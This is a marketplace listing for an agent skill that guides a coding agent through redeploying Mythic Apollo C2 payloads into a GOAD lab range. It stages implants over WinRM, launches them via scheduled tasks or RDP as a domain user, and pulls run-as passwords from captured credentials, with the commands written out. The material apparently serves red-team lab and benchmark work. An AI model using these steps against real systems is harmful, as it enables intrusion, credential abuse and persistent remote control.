sage-mythic-payload-deploy
Download an existing Mythic payload, stage it onto a Ludus Windows host over WinRM, and launch it as the current user or a supplied run-as user.
Skill by MythicAgents
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/mythicagents-sage-mythic-payload-deploy
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: devops, agent-building
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md and code. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
- Runs as
- Python package
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/sage-mythic-payload-deploy/tmp/open_rdp_session.log/tmp/sage_payloads- Your home directory (~)
What's inside
- Skill name
sage-mythic-payload-deploy- Description
- Download an existing Mythic payload, stage it onto a Ludus Windows host over WinRM, and launch it as the current user or a supplied run-as user. Use when Codex needs to redeploy an Apollo/Sage/Mythic payload after Mythic has already built it, recover a dead GOAD callback without resetting Mythic, or help create a fresh callback by pulling a payload from Mythic to CASTELBLACK/BRAAVOS/another Ludus host.
- License
- GPL-3.0
- Instructions
- 237 lines in SKILL.md · view on GitHub
Before installing
- Ships executable scripts
- Instructions read files in your home folder (~/.ssh, ~/.aws…)
Agent Skills spec issues
- body: contains an absolute path from the author's machine
Files (5)
- SKILL.md
- openai.yaml · agents/
- deploy_payload_via_ludus.py · scripts/
- launch_apollo_foothold.sh · scripts/
- open_rdp_session.py · scripts/
SKILL.md (first lines)
# Sage Mythic Payload Deploy ## Overview Use the bundled script for deterministic payload redeploys from Mythic into the Ludus GOAD range. Keep passwords out of scripts: Mythic auth resolves from `MYTHIC_ADMIN_PASSWORD`, then `MYTHIC_ENV_PATH` (no checkout-name default — see `.env.example`); Ludus API auth comes from `.mcp.json`; target run-as credentials resolve in a fixed chain so a session never has to ask the operator twice: 1. `--run-as-password` (explicit) 2. `SAGE_RUN_AS_PASSWORD` (environment or `--run-as-password-env`) 3. `~/.config/sage/runas.env` (per-user durable secrets file) — also checked by `open_rdp_session.py`, which additionally reads the Mythic `.env` 4. Mythic's credential store (`deploy` only, when the credential has been captured) 5. **The GOAD benchmark referee fixture** — `Payload_Type/sage/.hillclimb/referee_ldap.json`: the gitignored, operator-maintained per-domain ground-truth credential store for this range (domain matched by casefolded key or first DNS label, so `NORTH\…` matches `north.sevenkingdoms.local`). Both `open_rdp_session.py` and `deploy` fall back to it. If every link is empty the scripts fail closed with that chain spelled out. Never print or log the resolved value; never commit the fixture or the secret. RDP display: `open_rdp_session.py` defaults to `:0` — the running GNOME/Xwayland desktop. A dedicated `:99` Xvfb hung the client pre-logon here (no Xvfb installed); `Logon Info V2 [NORTH\samwell.tarly …]` in the client log is the evidence the interactive logon registered, and the deploy census saying the session is "disconnected" is expected — the scheduled-task launch works from a logged-on (even disconnected) session. Keep the xfreerdp client alive while `deploy` runs; kill it only after the callback is observed. After rolling back the disk-only Apollo-staged snapshot and importing the retained callback config, open an RDP session as Samwell and run `launch-existing`. It starts the preserved `SageApolloBootstrap` task, waits for the retained callback check-in to advance, and disconnects the RDP session. Treat a staged foothold as one fixture, never as independently selected defaults. The qualified Trust Walker fixture is: - snapshot `sage-seed-apollo-v252-mythic4-20260829`; - retained config `skills/sage-callback-bootstrap/apollo_callback_config.json`, SHA-256 `d7ef31912788a78b46c45bdd05920ef3519b31ab298889f52348d41a2163fe82`, payload UUID `aef50036-02ad-4c7a-8786-7ca778281ad2`; - scheduled task `SageApolloBootstrap` in prelaunch state `Ready`; - executable `C:\Users\Public\apollo.exe`, SHA-256 `aea555ddff1b6f1941714fdffe7a760deb5058c20861965ab711c7aa19091b37`. Fail before starting the task if any identity differs. In particular, do not pair the mutable retained-config default with the older `sage-seed-apollo-staged-20260710` snapshot; that snapshot contains payload UUID `465d689e-6971-4811-96d7-da395f302223`, which the current retained Mythic metadata cannot accept. ## Canonical Apollo Bootstrap Choose the bootstrap mode from the range state and required Windows logon token. Caller environment does not choose the mode: a headless Codex or cron process can invoke the PTY-backed interactive launcher when the host has the required Xwayland/Xvfb display. If that prerequisite is absent and the benchmark requires an interactive token, stop before allocation instead of substituting batch logon. | Range and payload state | Required token | Canonical entry point | Mythic payload download | |---|---|---|---| | Snapshot already contains Apollo plus `SageApolloBootstrap`; retained callback metadata is imported | Interactive benchmark foothold | `launch_apollo_foothold.sh` → `launch-existing` | Forbidden | | Clean baseline has no staged Apollo; a current Mythic payload has real downloadable bytes | Interactive foothold | `deploy --launch-method scheduled-task-interactive` | Required | | Current Mythic payload has real downloadable bytes and the operation explicitly accepts a batch-logon token | Batch-logon canary foothold | `sage-foothold-launch/scripts/foothold_launch.py launch` | Required | An imported retained-callback payload row may have an empty server-side file path. It is identity metadata for the already-staged executable, not a payload-download source. Never route that state through `deploy` or `mythic.download_payload`; use `launch-existing`. Before a live allocation starts, retain the snapshot, payload source (`snapshot` or `mythic-download`), required logon type, exact launcher entry point, whether a Mythic download is expected, callback settle window, and uniqueness requirement. On launcher failure, retain bounded stdout/stderr and the terminal phase before reducing the result to a generic reset error. For retained staged footholds, use the one-command interactive launcher with the uniqueness gate: ```bash skills/sage-mythic-payload-deploy/scripts/launch_apollo_foothold.sh <target-ip> '<DOMAIN\user>' -- --ludus-range-id <range-id> --target-host <host> --callback-host <host> --callback-user <user> --task-name SageApolloBootstrap --expected-task-state Ready --expected-remote-path 'C:\Users\Public\apollo.exe' --expected-remote-sha256 aea555ddff1b6f1941714fdffe7a760deb5058c20861965ab711c7aa19091b37 --callback-settle-seconds 90 --require-unique-callback ``` The settle window is part of the evidence gate: if another matching callback appears during it, treat the attempt as non-countable and fix the foothold state before continuing. ## Workflow 1. Confirm Mythic has the payload: ```bash .venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py list-payloads --payload-type apollo ``` If a run-as password should come from Mythic, inspect credential metadata without printing secrets: ```bash .venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py list-credentials --account samwell ``` 2. Deploy the payload. For GOAD, prefer the Tailscale IP as `--serve-host` when the range cannot reach the local VM bridge IP. ```bash SAGE_RUN_AS_PASSWORD='<password>' \ .venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py deploy \ --payload-type apollo \ --target-host CASTELBLACK \ --serve-host 100.x.y.z \ --run-as-user 'NORTH\samwell.tarly' ``` Use Mythic's credential store instead of an environment variable when the credential has already been captured: ```bash .venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py deploy \ --payload-type apollo \ --target-host CASTELBLACK \ --serve-host 100.x.y.z \ --run-as-user 'NORTH\samwell.tarly' \ --run-as-credential-account samwell.tarly \ --run-as-credential-realm north.sevenkingdoms.local ``` For the clean-baseline CASTELBLACK foothold, use the interactive launch path instead of `auto`. Open an RDP session as `NORTH\samwell.tarly`, then launch the staged payload through that active desktop session. First log off the snapshot's `localuser` console session: ```bash .venv/bin/python skills/sage-mythic-payload-deploy/scripts/deploy_payload_via_ludus.py logoff-user --username localuser ``` ```bash printf '%s\n' "$SAGE_RUN_AS_PASSWORD" | xfreerdp3 \ /from-stdin:force /u:'NORTH\samwell.tarly' /v:10.4.10.22 \ /cert:ignore /sec:nla /w:1024 /h:768 /log-level:ERROR
From MythicAgents/sage, GPL-3.0.
More from MythicAgents/sage
- 0.655score
sage-trace-analysis
MythicAgents
Repo-local Sage trace, Phoenix, Mythic task-output, and run-log analysis workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-canary-attestation
MythicAgents
Independently attest a bounded native Mythic canary by reconstructing the run from Mythic's own records with a read-only Spectator credential, then diffing…
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-eval-gauge
MythicAgents
Repo-local Sage eval-gauge / hill-climbing Phase-0 toolkit.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-focused-capability-tests
MythicAgents
Repo-local focused Sage capability, adapter, and notification validation workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-foothold-launch
MythicAgents
Build a live Apollo foothold on the GOAD range as NORTH\samwell.tarly through a pure WinRM scheduled-task batch logon.
SkillAFreshness: A★ 29Claude Code +9 - 0.652score
sage-callback-bootstrap
MythicAgents
Repo-local post-Mythic-reset Sage chat and foothold bootstrap workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.652score
sage-architecture-governor
MythicAgents
Use for Sage prompt, topology, tool, planner, runtime authority, and other consequential architecture changes; keep ordinary development measurement plumbing…
SkillAFreshness: A★ 29Claude Code +9 - 0.652score
sage-live-runner
MythicAgents
Repo-local Sage native Mythic v4 chat execution and inspection workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.651score
sage-goad-reset
MythicAgents
Repo-local Sage GOAD/Trust Walker full lab reset and readiness workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.650score
sage-forge-ops
MythicAgents
Repo-local Sage Forge/Codex helper workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.650score
phoenix-traces
MythicAgents
Analyze Sage's Phoenix/OpenInference trace database (phoenix.db) for the Sage LangGraph multi-agent system.
SkillAFreshness: A★ 29Claude Code +9 - 0.612score
sage-conversation-control
MythicAgents
Run repeated real-model perturbation trials against Sage's frozen conversation-control constitution and report pass^k, forbidden events, duplicate events…
SkillBFreshness: B★ 29Claude Code +9
Signals
- Stars
- 29
- Forks
- 5
- Open issues
- 1
- Last commit (this folder)
- Oct 17, 2026 (10 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- GPL-3.0
- Repository
- github.com/MythicAgents/sage
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
More from MythicAgents
- 0.655score
sage-trace-analysis
MythicAgents
Repo-local Sage trace, Phoenix, Mythic task-output, and run-log analysis workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-canary-attestation
MythicAgents
Independently attest a bounded native Mythic canary by reconstructing the run from Mythic's own records with a read-only Spectator credential, then diffing…
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-eval-gauge
MythicAgents
Repo-local Sage eval-gauge / hill-climbing Phase-0 toolkit.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-focused-capability-tests
MythicAgents
Repo-local focused Sage capability, adapter, and notification validation workflow.
SkillAFreshness: A★ 29Claude Code +9 - 0.655score
sage-foothold-launch
MythicAgents
Build a live Apollo foothold on the GOAD range as NORTH\samwell.tarly through a pure WinRM scheduled-task batch logon.
SkillAFreshness: A★ 29Claude Code +9 - 0.652score
sage-callback-bootstrap
MythicAgents
Repo-local post-Mythic-reset Sage chat and foothold bootstrap workflow.
SkillAFreshness: A★ 29Claude Code +9
Cite this page
sage-mythic-payload-deploy skill. Agent Mart. https://agentmart.dev/skills/mythicagents-sage-mythic-payload-deploy (last updated 2026-10-24)